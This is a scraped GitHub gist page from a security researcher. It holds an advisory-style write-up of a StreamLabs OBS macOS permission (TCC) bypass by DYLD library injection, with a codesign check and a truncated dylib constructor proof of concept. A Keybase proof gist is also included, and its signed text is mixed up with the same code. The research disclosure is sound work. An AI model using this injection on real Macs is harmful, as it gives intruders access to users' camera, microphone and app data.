Csaba Fitzl theevilbit

## _obs_tcc.md

      
              4 files
            
          
              1 fork
            
          
              0 comments
            
          
              8 stars
            
          
                theevilbit
                / _obs_tcc.md
            
            
              Last active
              August 3, 2021 22:14
            
              
                [StreamLabs OBS macOS TCC bypass]
              
          
    StreamLabs OBS macOS TCC bypass

The Streamlabs macOS thick client does have hardened runtime enabled, but specifically allows DYLD environment variables and also disables library validation, which kills the purpose of hardened runtime. Having these settings on the executable enables an attacker to inject custom DYLIB libraries into the application. This would allow an attacker to access data inside the app, and possibly gain persistence on a machine, beyond that, as StreamLabs has access to the microphone and camera a user would gain access to that once exploited.
We can see the wrong permissions with running the codesign utility:
csaby@bigsur ~ % codesign -dv --entitlements :- /Applications/Streamlabs\ OBS.app 
Executable=/Applications/Streamlabs OBS.app/Contents/MacOS/Streamlabs OBS
Identifier=com.streamlabs.slobs
Format=app bundle with Mach-O thin (x86_64)


## inject.c
#include <stdio.h>
#include <syslog.h>
#include <stdlib.h>

__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
 {
	setuid(0);
 	system("id");
	printf("Hello from dylib!\n");

## keybase.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                theevilbit
                / keybase.md
            
            
              Created
              September 18, 2018 07:22
            
          
    Keybase proof

I hereby claim:

I am theevilbit on github.
I am theevilbit (https://keybase.io/theevilbit) on keybase.
I have a public key whose fingerprint is F499 3DB9 AD64 BB7B 273C  2A41 A833 5B8E 6ACF DB3C

To claim this, I am signing this object:
	#include <stdio.h>
	#include <syslog.h>
	#include <stdlib.h>

	__attribute__((constructor))
	static void customConstructor(int argc, const char **argv)
	{
	setuid(0);
	system("id");
	printf("Hello from dylib!\n");